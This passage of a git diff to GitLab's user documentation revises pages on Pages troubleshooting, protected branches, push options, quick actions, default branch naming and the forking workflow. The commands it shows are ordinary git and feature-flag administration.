--git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md index dee021b8225..9eb80e3287c 100644 --- a/doc/user/project/pages/getting_started_part_one.md +++ b/doc/user/project/pages/getting_started_part_one.md @@ -81,7 +81,7 @@ To understand Pages domains clearly, read the examples below. ## URLs and base URLs NOTE: -The `baseurl` option might be called named differently in some static site generators. +The `baseurl` option might be named differently in some static site generators. Every Static Site Generator (SSG) default configuration expects to find your website under a (sub)domain (`example.com`), not diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index 2a0e1207bf5..2ff91292b1b 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -46,10 +46,10 @@ To create a GitLab Pages website: | Document | Description | | -------- | ----------- | -| [Use a new project template](getting_started/pages_new_project_template.md) | Create a new project with Pages already configured by using a new project template. | +| [Create a `gitlab-ci.yml` file from scratch](getting_started/pages_from_scratch.md) | Add a Pages site to an existing project. Learn how to create and configure your own CI file. | | [Use a `.gitlab-ci.yml` template](getting_started/pages_ci_cd_template.md) | Add a Pages site to an existing project. Use a pre-populated CI template file. | | [Fork a sample project](getting_started/pages_forked_sample_project.md) | Create a new project with Pages already configured by forking a sample project. | -| [Create a `gitlab-ci.yml` file from scratch](getting_started/pages_from_scratch.md) | Add a Pages site to an existing project. Learn how to create and configure your own CI file. | +| [Use a project template](getting_started/pages_new_project_template.md) | Create a new project with Pages already configured by using a template. | To update a GitLab Pages website: diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md index fbc86abbe66..3c3de26d7dd 100644 --- a/doc/user/project/pages/introduction.md +++ b/doc/user/project/pages/introduction.md @@ -281,3 +281,19 @@ No, you don't. You can create your project first and access it under ## Known issues For a list of known issues, visit the GitLab [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages). + +## Troubleshooting + +### 404 error when accessing a GitLab Pages site URL + +This problem most likely results from a missing `index.html` file in the public directory. If after deploying a Pages site +a 404 is encountered, confirm that the public directory contains an `index.html` file. If the file contains a different name +such as `test.html`, the Pages site can still be accessed, but the full path would be needed. For example: `https//group-name.pages.example.com/project-name/test.html`. + +The contents of the public directory can be confirmed by [browsing the artifacts](../../../ci/pipelines/job_artifacts.md#download-job-artifacts) from the latest pipeline. + +Files listed under the public directory can be accessed through the Pages URL for the project. + +A 404 can also be related to incorrect permissions. If [Pages Access Control](pages_access_control.md) is enabled, and a user +navigates to the Pages URL and receives a 404 response, it is possible that the user does not have permission to view the site. +To fix this, verify that the user is a member of the project. diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md index aef96ff12c9..c66f9038ed2 100644 --- a/doc/user/project/protected_branches.md +++ b/doc/user/project/protected_branches.md @@ -26,7 +26,7 @@ By default, a protected branch does these things: - GitLab administrators are allowed to push to the protected branches. - Users with [Developer permissions](../permissions.md) are allowed to create a project in a group, but might not be allowed to initially - push to the [default branch](repository/branches/index.md#default-branch). + push to the [default branch](repository/branches/default.md). The default branch protection level is set in the [Admin Area](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection). @@ -177,13 +177,12 @@ Deleting a protected branch is allowed only by using the web interface; not from This means that you can't accidentally delete a protected branch from your command line or a Git client application. -## Allow force push on protected branches **(FREE SELF)** +## Allow force push on protected branches -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10. -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-allow-force-push-on-protected-branches). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15611) in GitLab 13.10 behind a disabled feature flag. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-allow-force-push-on-protected-branches). WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -253,8 +252,8 @@ for details about the pipelines security model. ## Enable or disable allow force push on protected branches **(FREE SELF)** -Allow force push on protected branches is under development and not ready for -production use. It is deployed behind a feature flag that is **disabled by default**. +Allow force push on protected branches is ready for +production use. It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can enable it. diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md index 3ea0bb62c0b..260f355349d 100644 --- a/doc/user/project/protected_tags.md +++ b/doc/user/project/protected_tags.md @@ -23,9 +23,7 @@ anyone without Maintainer [permissions](../permissions.md) is prevented from cre To protect a tag, you need to have at least Maintainer [permissions](../permissions.md). -1. Navigate to the project's **Settings > Repository**: - -  +1. Go to the project's **Settings > Repository**. 1. From the **Tag** dropdown menu, select the tag you want to protect or type and click **Create wildcard**. In the screenshot below, we chose to protect all tags matching `v*`: diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md index c557c7718c9..3c5cc668986 100644 --- a/doc/user/project/push_options.md +++ b/doc/user/project/push_options.md @@ -68,6 +68,8 @@ time as pushing changes: | `merge_request.description="<description>"` | Set the description of the merge request. Ex: `git push -o merge_request.description="The description I want"`. | [12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/64320) | | `merge_request.label="<label>"` | Add labels to the merge request. If the label does not exist, it is created. For example, for two labels: `git push -o merge_request.label="label1" -o merge_request.label="label2"`. | [12.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31831) | | `merge_request.unlabel="<label>"` | Remove labels from the merge request. For example, for two labels: `git push -o merge_request.unlabel="label1" -o merge_request.unlabel="label2"`. | [12.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31831) | +| `merge_request.assign="<user>"` | Assign users to the merge request. For example, for two users: `git push -o merge_request.assign="user1" -o merge_request.assign="user2"`. | [12.9](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/XXXXX) | +| `merge_request.unassign="<user>"` | Remove assigned users from the merge request. For example, for two users: `git push -o merge_request.unassign="user1" -o merge_request.unassign="user2"`. | [12.9](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/XXXXX) | If you use a push option that requires text with spaces in it, you need to enclose it in quotes (`"`). You can omit the quotes if there are no spaces. Some examples: diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md index 284deabb33c..e1815785fb5 100644 --- a/doc/user/project/quick_actions.md +++ b/doc/user/project/quick_actions.md @@ -68,7 +68,7 @@ threads. Some quick actions might not be available to all subscription tiers. | `/due <date>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set due date. Examples of valid `<date>` include `in 2 days`, `this Friday` and `December 31st`. | | `/duplicate <#issue>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Close this issue and mark as a duplicate of another issue. **(FREE)** Also, mark both as related. | | `/epic <epic>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add to epic `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic. | -| `/estimate <<W>w <DD>d <hh>h <mm>m>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1w 3d 2h 14m`. | +| `/estimate <time>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1mo 2w 3d 4h 5m`. Learn more about [time tracking](time_tracking.md). | | `/invite_email email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add up to six email participants. This action is behind feature flag `issue_email_participants`. | | `/iteration *iteration:"iteration name"` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set iteration. For example, to set the `Late in July` iteration: `/iteration *iteration:"Late in July"` ([introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/196795)). | | `/label ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Add one or more labels. Label names can also start without a tilde (`~`), but mixed syntax is not supported. | @@ -95,8 +95,7 @@ threads. Some quick actions might not be available to all subscription tiers. | `/remove_zoom` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Remove Zoom meeting from this issue ([introduced in GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16609)). | | `/reopen` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Reopen. | | `/shrug <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `¯\＿(ツ)＿/¯`. | -| `/spend <time(-<h>h <mm>m)> <date(<YYYY-MM-DD>)>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Subtract spent time. Optionally, specify the date that time was spent on. For example, `/spend time(-1h 30m)` or `/spend time(-1h 30m) date(2018-08-26)`. | -| `/spend <time(<h>h <mm>m)> <date(<YYYY-MM-DD>)>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Add spent time. Optionally, specify the date that time was spent on. For example, `/spend time(1h 30m)` or `/spend time(1h 30m) date(2018-08-26)`. | +| `/spend <time> [<date>]` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Add or subtract spent time. Optionally, specify the date that time was spent on. For example, `/spend 1mo 2w 3d 4h 5m 2018-08-26` or `/spend -1h 30m`. Learn more about [time tracking](time_tracking.md). | | `/submit_review` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Submit a pending review ([introduced in GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/issues/8041)). | | `/subscribe` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Subscribe to notifications. | | `/tableflip <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `(╯°□°)╯︵ ┻━┻`. | diff --git a/doc/user/project/releases/img/deploy_freeze_v13_10.png b/doc/user/project/releases/img/deploy_freeze_v13_10.png Binary files differnew file mode 100644 index 00000000000..5c4b2d983dd --- /dev/null +++ b/doc/user/project/releases/img/deploy_freeze_v13_10.png diff --git a/doc/user/project/releases/img/deploy_freeze_v13_2.png b/doc/user/project/releases/img/deploy_freeze_v13_2.png Binary files differdeleted file mode 100644 index 27d3a6044a1..00000000000 --- a/doc/user/project/releases/img/deploy_freeze_v13_2.png +++ /dev/null diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 7348e17a017..06ad71713d7 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -5,7 +5,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Releases +# Releases **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) in GitLab 11.7. @@ -217,11 +217,11 @@ To set a deploy freeze window in the UI, complete these steps: 1. Click **Add deploy freeze** to open the deploy freeze modal. 1. Enter the start time, end time, and timezone of the desired deploy freeze period. 1. Click **Add deploy freeze** in the modal. - - +1. After the deploy freeze is saved, you can edit it by selecting the edit button (**{pencil}**). +  WARNING: -To edit or delete a deploy freeze, use the [Freeze Periods API](../../../api/freeze_periods.md). +To delete a deploy freeze, use the [Freeze Periods API](../../../api/freeze_periods.md). If a project contains multiple freeze periods, all periods apply. If they overlap, the freeze covers the complete overlapping period. @@ -416,14 +416,14 @@ Evidence collection snapshots are visible on the Releases page, along with the t > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32773) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.2. -When you create a release, if [job artifacts](../../../ci/pipelines/job_artifacts.md#artifactsreports) are included in the last pipeline that ran, they are automatically included in the release as release evidence. +When you create a release, if [job artifacts](../../../ci/yaml/README.md#artifactsreports) are included in the last pipeline that ran, they are automatically included in the release as release evidence. Although job artifacts normally expire, artifacts included in release evidence do not expire. To enable job artifact collection you need to specify both: 1. [`artifacts:paths`](../../../ci/yaml/README.md#artifactspaths) -1. [`artifacts:reports`](../../../ci/pipelines/job_artifacts.md#artifactsreports) +1. [`artifacts:reports`](../../../ci/yaml/README.md#artifactsreports) ```yaml ruby: diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md new file mode 100644 index 00000000000..1363d883e76 --- /dev/null +++ b/doc/user/project/repository/branches/default.md @@ -0,0 +1,180 @@ +--- +stage: Create +group: Source Code +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" +type: concepts, howto +--- + +# Default branch + +When you create a new [project](../../index.md), GitLab creates a default branch +in the repository. A default branch has special configuration options not shared +by other branches: + +- It's [initially protected](../../protected_branches.md#protected-branches) against + accidental deletion and forced pushes. +- When a merge request uses an + [issue closing pattern](../../issues/managing_issues.md#closing-issues-automatically) + to close an issue, the work is merged into this branch. + +The name of your [new project's](../../index.md) default branch depends on any +instance-level or group-level configuration changes made by your GitLab administrator. +GitLab checks first for specific customizations, then checks at a broader level, +using the GitLab default only if no customizations are set: + +1. A [project-specific](#change-the-default-branch-name-for-a-project) custom default branch name. +1. A [subgroup-level](#group-level-custom-initial-branch-name) custom default branch name. +1. A [group-level](#group-level-custom-initial-branch-name) custom default branch name. +1. An [instance-level](#instance-level-custom-initial-branch-name) custom default branch name. **(FREE SELF)** +1. If no custom default branch name is set at any level, GitLab defaults to: + - `main`: Projects created with GitLab 14.0 or later. + - `master`: Projects created before GitLab 14.0. + +In the GitLab UI, you can change the defaults at any level. GitLab also provides +the [Git commands you need](#update-the-default-branch-name-in-your-repository) to update your copy of the repository. + +## Change the default branch name for a project + +To update the default branch name for an individual [project](../../index.md): + +1. Sign in to GitLab as a user with [Administrator](../../../permissions.md) permissions. +1. In the left navigation menu, go to **Settings > Repository**. +1. Expand **Default branch**, and select a new default branch. +1. (Optional) Select the **Auto-close referenced issues on default branch** check box to close + issues when a merge request + [uses a closing pattern](../../issues/managing_issues.md#closing-issues-automatically). +1. Select **Save changes**. + +API users can also use the `default_branch` attribute of the +[Projects API](../../../../api/projects.md) when creating or editing a project. + +## Change the default branch name for an instance or group + +GitLab administrators can configure a new default branch name at the +[instance level](#instance-level-custom-initial-branch-name) or +[group level](#group-level-custom-initial-branch-name). + +### Instance-level custom initial branch name **(FREE SELF)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221013) in GitLab 13.2. +> - It's deployed behind a feature flag, enabled by default. +> - It cannot be enabled or disabled per-project. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). + +GitLab [administrators](../../../permissions.md) of self-managed instances can +customize the initial branch for projects hosted on that instance. Individual +groups and subgroups can override this instance-wide setting for their projects. + +1. Go to **Admin Area > Settings > Repository**. +1. Expand **Default initial branch name**. +1. Change the default initial branch to a custom name of your choice. +1. Select **Save changes**. + +Projects created on this instance after you change the setting use the +custom branch name, unless a group-level or subgroup-level configuration +overrides it. + +#### Enable or disable custom initial branch name **(FREE SELF)** + +Setting the default initial branch name is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md) +can opt to disable it for your instance. + +To disable it: + +```ruby +Feature.disable(:global_default_branch_name) +``` + +To enable it: + +```ruby +Feature.enable(:global_default_branch_name) +``` + +### Group-level custom initial branch name **(FREE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221014) in GitLab 13.6. + +Administrators of groups and subgroups can configure the default branch name for a group: + +1. Go to the group **Settings > Repository**. +1. Expand **Default initial branch name**. +1. Change the default initial branch to a custom name of your choice. +1. Select **Save changes**. + +Projects created in this group after you change the setting use the custom branch name, +unless a subgroup configuration overrides it. + +## Update the default branch name in your repository + +WARNING: +Changing the name of your default branch can potentially break tests, +CI/CD configuration, services, helper utilities, and any integrations your repository +uses. Before you change this branch name, consult with your project owners and maintainers. +Ensure they understand the scope of this change includes references to the old +branch name in related code and scripts. + +When changing the default branch name for an existing repository, you should preserve +the history of your default branch by renaming it, instead of deleting it. This example +renames a Git repository's (`example`) default branch. + +1. On your local command line, navigate to your `example` repository, and ensure + you're on the default branch: + + ```plaintext + cd example + git checkout master + ``` + +1. Rename the existing default branch to the new name (`main`). The argument `-m` + transfers all commit history to the new branch: + + ```plaintext + git branch -m master main + ``` + +1. Push the newly created `main` branch upstream, and set your local branch to track + the remote branch with the same name: + + ```plaintext + git push -u origin main + ``` + +1. If you plan to remove the old default branch, update `HEAD` to point to your new default branch, `main`: + + ```plaintext + git symbolic-ref refs/remotes/origin/HEAD refs/remotes/origin/main + ``` + +1. Sign in to GitLab as an [administrator](../../../permissions.md) and follow + the instructions to + [change the default branch for this project](#change-the-default-branch-name-for-a-project). + Select `main` as your new default branch. +1. Protect your new `main` branch as described in the [protected branches documentation](../../protected_branches.md). +1. (Optional) If you want to delete the old default branch: + 1. Verify that nothing is pointing to it. + 1. Delete the branch on the remote: + + ```plaintext + git push origin --delete master + ``` + + You can delete the branch at a later time, after you confirm the new default branch is working as expected. + +1. Notify your project contributors of this change, because they must also take some steps: + + - Contributors should pull the new default branch to their local copy of the repository. + - Contributors with open merge requests that target the old default branch should manually + re-point the merge requests to use `main` instead. +1. In your repository, update any references to the old branch name in your code. +1. Update references to the old branch name in related code and scripts that reside outside + your repository, such as helper utilities and integrations. + +## Resources + +- [Discussion of default branch renaming](https://lore.kernel.org/git/pull.656.v4.git.1593009996.gitgitgadget@gmail.com/) + on the Git mailing list +- [March 2021 blog post: The new Git default branch name](https://about.gitlab.com/blog/2021/03/10/new-git-default-branch-name/) diff --git a/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png b/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png Binary files differindex da7d5268b3b..fdda3858c3b 100644 --- a/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png +++ b/doc/user/project/repository/branches/img/branch_filter_search_box_v13_10.png diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md index d049b2108ee..f2562ef89e3 100644 --- a/doc/user/project/repository/branches/index.md +++ b/doc/user/project/repository/branches/index.md @@ -19,12 +19,14 @@ After pushing your changes to a new branch, you can: - [Discuss](../../../discussions/index.md) your implementation with your team - Preview changes submitted to a new branch with [Review Apps](../../../../ci/review_apps/index.md). -With [GitLab Starter](https://about.gitlab.com/pricing/), you can also request -[approval](../../merge_requests/merge_request_approvals.md) from your managers. +You can also request [approval](../../merge_requests/merge_request_approvals.md) +from your managers. For more information on managing branches using the GitLab UI, see: -- [Default branches](#default-branch) +- [Default branches](default.md): When you create a new [project](../../index.md), GitLab creates a + default branch for the repository. You can change this setting at the project, + subgroup, group, or instance level. - [Create a branch](../web_editor.md#create-a-new-branch) - [Protected branches](../../protected_branches.md#protected-branches) - [Delete merged branches](#delete-merged-branches) @@ -41,55 +43,6 @@ See also: - [GitLab Flow](../../../../university/training/gitlab_flow.md) documentation. - [Getting started with Git](../../../../topics/git/index.md) and GitLab. -## Default branch - -When you create a new [project](../../index.md), GitLab sets `master` as the default -branch of the repository. You can choose another branch to be your project's -default under your project's **Settings > Repository**. - -When closing issues directly from merge requests through the [issue closing pattern](../../issues/managing_issues.md#closing-issues-automatically), -the target is the project's **default branch**. - -The default branch is also initially [protected](../../protected_branches.md#protected-branches) -against accidental deletion and forced pushes. - -### Custom initial branch name **(FREE SELF)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221013) in GitLab 13.2. -> - It's deployed behind a feature flag, enabled by default. -> - It's enabled on GitLab.com. -> - It cannot be enabled or disabled per-project. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-custom-initial-branch-name). **(FREE SELF)** - -By default, when you create a new project in GitLab, the initial branch is called `master`. -For self-managed instances, a GitLab administrator can customize the initial branch name to something -else. This way, every new project created from then on starts from the custom branch name rather than `master`. To do so: - -1. Go to the **Admin Area > Settings > Repository** and expand **Default initial - branch name**. -1. Change the default initial branch to a custom name of your choice. -1. **Save Changes**. - -#### Enable or disable custom initial branch name **(FREE SELF)** - -Setting the default initial branch name is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:global_default_branch_name) -``` - -To enable it: - -```ruby -Feature.enable(:global_default_branch_name) -``` - ## Compare To compare branches in a repository: diff --git a/doc/user/project/repository/file_finder.md b/doc/user/project/repository/file_finder.md index 3af7a5045c4..42b82f2c360 100644 --- a/doc/user/project/repository/file_finder.md +++ b/doc/user/project/repository/file_finder.md @@ -7,17 +7,13 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/file_finder.html' # File finder **(FREE)** -> [Introduced](https://github.com/gitlabhq/gitlabhq/pull/9889) in GitLab 8.4. - The file finder feature allows you to search for a file in a repository using the -GitLab UI. - -You can find the **Find File** button when in the **Files** section of a -project. +GitLab UI. To use it: - +1. Go to your project's **Repository > Files**. +1. In the upper right corner, select **Find File**. -If you prefer to keep their fingers on the keyboard, use the +If you prefer to keep your fingers on the keyboard, use the [shortcut button](../../shortcuts.md), which you can invoke from anywhere in a project. diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md index c8922890deb..33ab5f6580d 100644 --- a/doc/user/project/repository/forking_workflow.md +++ b/doc/user/project/repository/forking_workflow.md @@ -18,26 +18,37 @@ submit them through a merge request to the repository you don't have access to. ## Creating a fork -Forking a project is, in most cases, a two-step process. +To fork an existing project in GitLab: -1. On the project's home page, in the top right, click the **Fork** button. +1. On the project's home page, in the top right, click **{fork}** **Fork**. -  +  -1. Click a namespace to fork to. Only namespaces you have Developer and higher [permissions](../../permissions.md) for are shown. +1. Select the project to fork to: - NOTE: - The project path must be unique within the namespace. + - *(Recommended method)* Below **Select a namespace to fork the project**, identify + the project you want to fork to, and click **Select**. Only namespaces you have + Developer and higher [permissions](../../permissions.md) for are shown. + +  -  + - *(Experimental method)* If your GitLab administrator has + [enabled the experimental fork project form](#enable-or-disable-the-fork-project-form), read + [Create a fork with the fork project form](#create-a-fork-with-the-fork-project-form). + Only namespaces you have Developer and higher + [permissions](../../permissions.md) for are shown. + + NOTE: + The project path must be unique in the namespace. -The fork is created. The permissions you have in the namespace are your permissions in the fork. +GitLab creates your fork, and redirects you to the project page for your new fork. +The permissions you have in the namespace are your permissions in the fork. WARNING: When a public project with the repository feature set to **Members Only** is forked, the repository is public in the fork. The owner -of the fork must manually change the visibility. This is being -fixed in [#36662](https://gitlab.com/gitlab-org/gitlab/-/issues/36662). +of the fork must manually change the visibility. Issue +[#36662](https://gitlab.com/gitlab-org/gitlab/-/issues/36662) exists for this issue. ## Repository mirroring @@ -71,3 +82,44 @@ changes are added to the repository and branch you're merging into. ## Removing a fork relationship You can unlink your fork from its upstream project in the [advanced settings](../settings/index.md#removing-a-fork-relationship). + +## Create a fork with the fork project form **(FREE SELF)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15013) in GitLab 13.11. +> - It's [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-fork-project-form). **(FREE SELF)** + +This experimental version of the fork project form is available only if your GitLab +administrator has [enabled it](#enable-or-disable-the-fork-project-form): + + + +To use it, follow the instructions at [Creating a fork](#creating-a-fork) and provide: + +- The project name. +- The project URL. +- The project slug. +- *(Optional)* The project description. +- The visibility level for your fork. + +### Enable or disable the fork project form **(FREE SELF)** + +The new [fork project form](#create-a-fork-with-the-fork-project-form) is under +development and not ready for production use. It is deployed behind a feature flag +that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:fork_project_form) +``` + +To disable it: + +```ruby +Feature.disable(:fork_project_form) +``` diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md index 0f49932d0c6..198993e21f3 100644 --- a/doc/user/project/repository/git_blame.md +++ b/doc/user/project/repository/git_blame.md @@ -8,17 +8,15 @@ description: "Documentation on Git file blame." # Git file blame **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/commit/39c657930625ddc3ac8a921f01ffc83acadce68f) in GitLab 2.5. - [Git blame](https://git-scm.com/docs/git-blame) provides more information about every line in a file, including the last modified time, author, and -commit hash. - -You can find the **Blame** button with each file in a project. +commit hash. To view it for a file: - +1. Go to your project's **Repository > Files**. +1. Select the file you want to review. +1. In the upper right corner, select **Blame**. -When you select the **Blame** button, this information is shown: +When you select **Blame**, this information is displayed:  diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md index 1b30a0b0f5f..356f02a4902 100644 --- a/doc/user/project/repository/git_history.md +++ b/doc/user/project/repository/git_history.md @@ -8,16 +8,13 @@ description: "Documentation on Git file history." # Git file history **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/blob/9ba1224867665844b117fa037e1465bb706b3685/app/controllers/commits_controller.rb) in GitLab 0.8.0 - Git file History provides information about the commit history associated -with a file. - -You can find the **History** button with each file in a project. +with a file. To use it: - +1. Go to your project's **Repository > Files**. +1. In the upper right corner, select **History**. -When you select the **History** button, this information displays: +When you select **History**, this information is displayed:  diff --git a/doc/user/project/repository/img/contributors_graph.png b/doc/user/project/repository/img/contributors_graph.png Binary files differindex c31da7aa1ff..83fdf1fc41f 100644 --- a/doc/user/project/repository/img/contributors_graph.png +++ b/doc/user/project/repository/img/contributors_graph.png diff --git a/doc/user/project/repository/img/download_source_code.png b/doc/user/project/repository/img/download_source_code.png Binary files differindex 56808061980..8d62d19b291 100644 --- a/doc/user/project/repository/img/download_source_code.png +++ b/doc/user/project/repository/img/download_source_code.png diff --git a/doc/user/project/repository/img/file_blame_button_v12_6.png b/doc/user/project/repository/img/file_blame_button_v12_6.png Binary files differdeleted file mode 100644 index e7aa0d1ea3f..00000000000 --- a/doc/user/project/repository/img/file_blame_button_v12_6.png +++ /dev/null diff --git a/doc/user/project/repository/img/file_finder_find_button_v12_10.png b/doc/user/project/repository/img/file_finder_find_button_v12_10.png Binary files differdeleted file mode 100644 index 51545f63fde..00000000000 --- a/doc/user/project/repository/img/file_finder_find_button_v12_10.png +++ /dev/null diff --git a/doc/user/project/repository/img/file_history_button_v12_6.png b/doc/user/project/repository/img/file_history_button_v12_6.png Binary files differdeleted file mode 100644 index e7aa0d1ea3f..00000000000 --- a/doc/user/project/repository/img/file_history_button_v12_6.png +++ /dev/null diff --git a/doc/user/project/repository/img/fork_form_v13_10.png b/doc/user/project/repository/img/fork_form_v13_10.png Binary files differnew file mode 100644 index 00000000000..00c2f89a844 --- /dev/null +++ b/doc/user/project/repository/img/fork_form_v13_10.png diff --git a/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.png b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.png Binary files differnew file mode 100644 index 00000000000..74f65cb663d --- /dev/null +++ b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_10.png diff --git a/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png Binary files differindex 4843cc671ae..f48cf176ba1 100644 --- a/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png +++ b/doc/user/project/repository/img/forking_workflow_choose_namespace_v13_2.png diff --git a/doc/user/project/repository/img/forking_workflow_fork_button.png b/doc/user/project/repository/img/forking_workflow_fork_button.png Binary files differdeleted file mode 100644 index eea62892232..00000000000 --- a/doc/user/project/repository/img/forking_workflow_fork_button.png +++ /dev/null diff --git a/doc/user/project/repository/img/forking_workflow_fork_button_v13_10.png b/doc/user/project/repository/img/forking_workflow_fork_button_v13_10.png Binary files differnew file mode 100644 index 00000000000..376beb803a7 --- /dev/null +++ b/doc/user/project/repository/img/forking_workflow_fork_button_v13_10.png diff --git a/doc/user/project/repository/img/repo_graph.png b/doc/user/project/repository/img/repo_graph.png Binary files differindex 28da8ad9589..fcccedbc436 100644 --- a/doc/user/project/repository/img/repo_graph.png +++ b/doc/user/project/repository/img/repo_graph.png diff --git a/doc/user/project/repository/img/web_editor_line_link_v13_10.png b/doc/user/project/repository/img/web_editor_line_link_v13_10.png Binary files differnew file mode 100644 index 00000000000..36347afcbe8 --- /dev/null +++ b/doc/user/project/repository/img/web_editor_line_link_v13_10.png diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index b9145364e3b..70c5ef63dd4 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -257,7 +257,7 @@ prompted to open XCode. ### Clone and open in Visual Studio Code -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.8. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220957) in GitLab 13.10. All projects can be cloned into Visual Studio Code. To do that: diff --git a/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png b/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png Binary files differindex 52c5c5aea32..a12fabcdd2a 100644 --- a/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png +++ b/doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook.png diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md index e4a3e6d6ef1..4b649bab4d9 100644 --- 